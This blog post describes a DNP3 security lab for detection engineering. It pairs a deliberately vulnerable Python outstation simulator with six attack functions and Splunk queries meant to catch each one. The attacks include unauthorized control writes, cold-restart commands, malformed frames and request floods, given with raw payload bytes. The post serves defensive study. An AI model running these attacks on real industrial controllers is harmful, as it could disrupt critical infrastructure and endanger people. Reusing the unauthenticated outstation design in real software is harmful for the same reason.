I wanted to simulate unauthorized write commands and build some splunk queries that detect DNP3 attacks. After searching the internet for practical DNP3 security testing guidance, I found attack vectors with limited hands-on implementation details. They did not show how to test, detect, or defend against DNP3 attacks in a real environment.

I built something to last. In this blog, I will be sharing the attack methodologies. I will include technical details and tested detection rules. No theory-heavy fluff, just practical hands-on DNP3 security testing that you can implement in your environment to fortify your defenses.

Lab Setup

Let’s start with the lab setup. The testing environment simulates a realistic industrial network. Security teams can safely test DNP3 attack vectors and detection capabilities in this environment. Here’s what I built:

• Windows Host: Simulates mini OT-SOC to build detection rule sets.
• EWS (Engineering Workstation): Simulates legitimate operator interface
• PLC: Target system running DNP3 outstation service
• Kali: Attacker machine

DNP3 PLC Simulator

Developed a python-based DNP3 outstation that behaves like a real PLC. It includes intentional vulnerabilities for testing.

class DNP3Outstation:
    def __init__(self, host='0.0.0.0', port=20000):
        self.host = host
        self.port = port
        self.vulnerable_mode = True  # Key for security testing
        
        # Simulated data points
        self.binary_inputs = [False] * 16
        self.analog_inputs = [0.0] * 8
        self.binary_outputs = [False] * 8
        
    def handle_write_request(self, app_data, src, dest, client_ip):
        if self.vulnerable_mode:
            # Accepts writes without authentication - vulnerability!
            print(f"[!] ATTACK_DETECTED: UNAUTHORIZED_WRITE from_ip={client_ip}")
            return self.create_response_frame(b'\x81\x00\x00', src, dest)
        else:
            return self.create_response_frame(b'\x81\x00\x02', src, dest)

Key Features:

• Realistic DNP3 protocol implementation with proper frame parsing
• Configurable vulnerability modes for different attack scenarios
• Attack logging that integrates with SIEM systems
• Multiple data point types (binary inputs/outputs, analog values)

Attack-Capable HMI

Developed a python-based HMI that doubles as a security testing tool:

def attack_unauthorized_write(self):
    """Simulate unauthorized write attack"""
    try:
        # Create DNP3 write request manually
        app_header = struct.pack('BB', 0xC0, 0x02)  # Function=Write(2)
        write_data = b'\x0C\x01\x28\x01\x00\x01\x00\x01'  
        app_data = app_header + write_data
        
        # DNP3 frame with attack source identifier
        src = 999  # Different source to identify attack
        frame = self.create_dnp3_frame(app_data, dest=1, src=src)
        
        self.master.socket.send(frame)
        self.log("ATTACK: Direct unauthorized write sent", "ATTACK")
        
    except Exception as e:
        self.log(f"Attack error: {e}", "ERROR")

Key Features:

• Unauthorized Write Commands – Bypass authentication controls
• DoS/Packet Flooding – Overwhelm the DNP3 service
• Cold Restart Injection – Force system restarts
• Malformed Packet Testing – Invalid frame structures
• Invalid Function Codes – Unsupported command testing

Attack Vectors & Detection Engineering

Now we get to the good stuff – executing DNP3 attacks in a controlled environment. I have tested six distinct attack scenarios that represent real-world threats. Each attack targets dintinct vulnerabilities and produces unique network signatures for detection testing.

Generic “monitor port 20000” advice won’t capture DNP3 attacks. Building detection requires understanding attack signatures, network patterns, and behavioral anomalies.

Attack #1: Unauthorized Write Commands (T0836 – Modify Parameter, T0835 – Manipulate I/O)

The Threat: Attackers send control commands without proper authentication, potentially altering critical system outputs like valve positions.

Attack Implementation:

def attack_unauthorized_write(self):
    """Send direct write command bypassing authentication"""
    try:
        # DNP3 write request
        app_header = struct.pack('BB', 0xC0, 0x02)  # Control + Write function
        # Target binary output 0 with CROB (Control Relay Output Block)
        write_data = b'\x0C\x01\x28\x01\x00\x01\x00\x01'  
        app_data = app_header + write_data
        self.master.socket.send(frame)
        self.log("ATTACK: Unauthorized write executed", "CRITICAL")
        
    except Exception as e:
        self.log(f"Write attack failed: {e}", "ERROR")

Network Signature: 23-byte packets followed by 14-byte responses – the classic write command pattern.

Detection #1: Unauthorized Write Commands

Attack Signature: 23-byte command packets targeting control outputs, followed by 14-byte acknowledgment responses.

index=*
| search "PLC.20000" AND ("length 23" OR "length 14")
| eval attack_indicator=case(
    match(_raw, "length 23"), "Write Command Sent",
    match(_raw, "length 14"), "PLC Response Received",
    1=1, "Other"
)
| stats count by attack_indicator
| eval attack_type="Unauthorized DNP3 Write Attack"
| eval severity="HIGH"
| table attack_type, count, severity

Detection Logic:

• Packet size filtering: 23 bytes = typical DNP3 write command
• Source IP extraction: Identifies attacking machine
• Time correlation: Groups command/response pairs
• Severity scoring: HIGH due to direct control impact

Tuning Considerations:

• Whitelist authorized sources – Add known HMI/SCADA systems
• Time windows – Adjust for network latency

Attack #2: Denial of Service (DoS) (T0814 – Denial of Service, T0813 – Denial of Control)

The Threat: Flooding the DNP3 service with rapid requests, making it unresponsive to legitimate operations.

Attack Implementation:

def simulate_dos(self):
    """Flood PLC with rapid DNP3 requests"""
    def dos_thread():
        for i in range(100):
            try:
                # Send rapid read requests
                self.master.send_request(0x01)  # Read function
                time.sleep(0.01)  # 10ms between requests
            except:
                break
    
    threading.Thread(target=dos_thread, daemon=True).start()
    self.log("ATTACK: DoS initiated (100 requests)", "HIGH")

Network Signature: Massive log entries (30,000+ characters) from rapid connection attempts within seconds.

Detection #2: Denial of Service Attacks

Attack Signature: Massive connection volume within short time windows, creating large log entries (>30,000 characters).

# DNP3 DoS Attack Detection
index=*
| search "PLC.20000"
| eval raw_length=len(_raw)
| where raw_length > 1000
| eval attack_type="DNP3 DoS Attack"
| eval severity=case(
    raw_length > 50000, "CRITICAL",
    raw_length > 30000, "HIGH",
    1=1, "MEDIUM"
)
| eval description="DNP3 Connection Flood"
| rex field=_raw "(?<src_ip>\d+\.\d+\.\d+\.\d+)\.\d+ > PLC\.20000"
| table _time, src_ip, raw_length, attack_type, severity, description

Alternative Detection – Request Rate Analysis:

# High-frequency connection detection
index=* earliest=-1m sourcetype="dnp3_network"
| search "PLC.20000"
| rex field=_raw "(?<src_ip>\d+\.\d+\.\d+\.\d+)\.\d+ > PLC\.20000"
| bucket _time span=10s
| stats count as request_count by _time, src_ip
| where request_count > 20
| eval attack_type="DNP3 Connection Flood"
| eval severity="HIGH"

Detection Logic:

• Log size analysis: DoS attacks create massive tcpdump logs
• Rate-based detection: >20 connections per 10 seconds
• Source tracking: Identifies attacking systems

Attack #3: Cold Restart Injection (T0816 – Device Restart/Shutdown, T0809 – Data Destruction)

The Threat: Forcing unexpected system restarts, potentially disrupting industrial processes or causing unsafe states.

Attack Implementation:

def cold_restart_attack(self):
    """Send unauthorized restart command"""
    if not self.master.connected:
        return False
        
    # DNP3 function code 13 = Cold Restart
    response = self.master.send_request(0x0D)
    
    if response:
        self.log("ATTACK: Cold restart command sent", "CRITICAL")
        return True
    return False

Network Signature: 13-byte packets containing DNP3 restart function codes.

Detection #3: Cold Restart Commands

Attack Signature: 13-byte packets containing DNP3 restart function codes (Function Code 13).

# DNP3 Cold Restart Detection
index=* 
| search "PLC.20000" AND "length"
| rex field=_raw "(?<src_ip>\d+\.\d+\.\d+\.\d+)\.(?<src_port>\d+) > PLC\.20000.*length (?<packet_length>\d+)"
| where packet_length >= 13 AND packet_length <= 25
| eval attack_type="DNP3 Restart Command"
| eval severity="CRITICAL"
| eval description="DNP3 restart command detected - potential service disruption"
| table _time, src_ip, packet_length, attack_type, severity, description

Detection Logic:

• Packet size correlation: 13 bytes = typical restart command
• Function code analysis: Targeting restart operations
• Impact assessment: CRITICAL severity due to system disruption

Attack #4: Malformed Packet Injection (T0885 – Commonly Used Port, T0866 – Exploitation of Remote Services)

The Threat: Sending corrupted DNP3 frames to crash services or exploit parsing vulnerabilities.

Attack Implementation:

def send_malformed_packet(self):
    """Inject malformed DNP3 frame"""
    try:
        # Create frame with invalid data
        malformed = b'\x05\x64\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF'
        self.master.socket.send(malformed)
        self.log("ATTACK: Malformed packet injected", "MEDIUM")
    except Exception as e:
        self.log(f"Malformed attack error: {e}", "ERROR")

Network Signature: Packets containing FFFF patterns or triggering hex dump analysis in network tools.

Detection #4: Malformed Packet Injection

Attack Signature: Packets containing invalid data patterns (FFFF sequences) or triggering hex dump analysis.

# Malformed DNP3 Packet Detection
index=*
| search "PLC.20000" AND ("ffff" OR "0x" OR "incorrect")
| rex field=_raw "(?<src_ip>\d+\.\d+\.\d+\.\d+)\.(?<src_port>\d+) > PLC\.20000"
| eval attack_type="Malformed DNP3 Packet"
| eval severity="MEDIUM"
| eval description="Malformed packet with invalid data detected (contains ffff pattern)"
| table  attack_type, _time, src_ip, severity

Detection Logic:

• Pattern matching: FFFF sequences indicate invalid data
• Hex dump correlation: Network tools dumping packet contents
• Parsing failures: Malformed frames trigger detailed analysis

Attack #5: Invalid Function Code Testing (T0840 – Network Connection Enumeration, T0842 – Network Sniffing)

The Threat: Probing systems with unsupported DNP3 functions to identify implementation weaknesses or trigger error conditions.

Attack Implementation:

def test_invalid_functions(self):
    """Test invalid DNP3 function codes"""
    invalid_functions = [0xFF, 0x99, 0x88, 0x77]
    
    for func_code in invalid_functions:
        try:
            response = self.master.send_request(func_code)
            if response:
                self.log(f"ATTACK: Invalid function {func_code} accepted", "MEDIUM")
        except:
            pass

Network Signature: 13-byte command packets with unusual function codes that generate error responses.

Detection #5: Invalid Function Code Testing

Attack Signature: 13-byte command packets with unusual function codes generating error responses.

# Invalid DNP3 Function Detection
index=* earliest=-5m sourcetype="dnp3_network"
| search "192.168.206" AND "PLC.20000" AND "length"
| rex field=_raw "(?<src_ip>\d+\.\d+\.\d+\.\d+)\.(?<src_port>\d+) > PLC\.20000.*length (?<packet_length>\d+)"
| where packet_length >= 10 AND packet_length <= 30
| eval attack_type="Invalid DNP3 Function Code"
| eval severity="MEDIUM"
| eval description="Unusual DNP3 command detected - possible invalid function code"
| table _time, src_ip, packet_length, attack_type, severity, description

Function Code Reconnaissance Detection:

# Detect function code probing patterns
index=* earliest-10m sourcetype="dnp3_network"
| search "PLC.20000"
| rex field=_raw "(?<src_ip>\d+\.\d+\.\d+\.\d+)\.(?<src_port>\d+) > PLC\.20000"
| stats dc(src_port) as unique_attempts by src_ip
| where unique_attempts > 5
| eval attack_type="DNP3 Function Code Probing"
| eval severity="MEDIUM"

Detection Logic:

• Command size filtering: 10-30 bytes covers most function codes
• Pattern analysis: Multiple attempts from same source
• Reconnaissance identification: Probing for system capabilities

Attack #6: Packet Flood (T0814 – Denial of Service, T0813 – Denial of Control)

The Threat: Network-level flooding that saturates communication links, preventing legitimate traffic.

Attack Implementation:

def packet_flood_attack(self):
    """Generate massive packet flood"""
    def flood_thread():
        for i in range(500):
            try:
                # Send minimal packets rapidly
                self.master.socket.send(b'\x05\x64\x00\x10\x44\x64\x00\x01\x00')
                time.sleep(0.001)  # 1ms intervals
            except:
                break
    
    threading.Thread(target=flood_thread, daemon=True).start()
    self.log("ATTACK: Packet flood initiated", "HIGH")

Network Signature: Extremely large log entries (50,000+ characters) from raw packet spam.

Detection #6: Packet Flood Attacks

Attack Signature: Extremely large log entries (>50,000 characters) from raw packet spam.

Network Saturation Detection:

# Bandwidth consumption analysis
index=*
| search "PLC.20000"
| eval total_bytes=len(_raw)
| stats sum(total_bytes) as bandwidth_consumed by _time
| where bandwidth_consumed > 100000
| eval attack_type="Network Bandwidth Attack"
| eval impact="Potential communication disruption"

Why These Attacks Matter

These aren’t theoretical vulnerabilities – they represent attack patterns observed in real industrial environments:

• 2010 – Stuxnet: Unauthorized writes to damage centrifuges
• 2015 – BlackEnergy: DoS attacks during Ukraine power outage
• 2016 – Industroyer: Restart commands to disrupt substations
• 2017 – Triton: Write commands targeting safety systems

Conclusion

This hands-on approach to DNP3 security testing helps you build your own detection rule sets. This lab demonstrates that the DNP3 attack vectors targetting critical infrastructure require basic technical skills build ICS intrusion detection capabilities. These include unauthorized writes, DoS flooding, and restart injection. Sophisticated network-based monitoring is required to detect them effectively.

The six attack scenarios represents real threats documented in incidents like Stuxnet, BlackEnergy, and Industroyer. The Splunk detection queries developed against actual attack traffic, not theoretical patterns.

The lab environment and detection queries are available on our GitHub repository. Use responsibly, test ethically, secure the grid.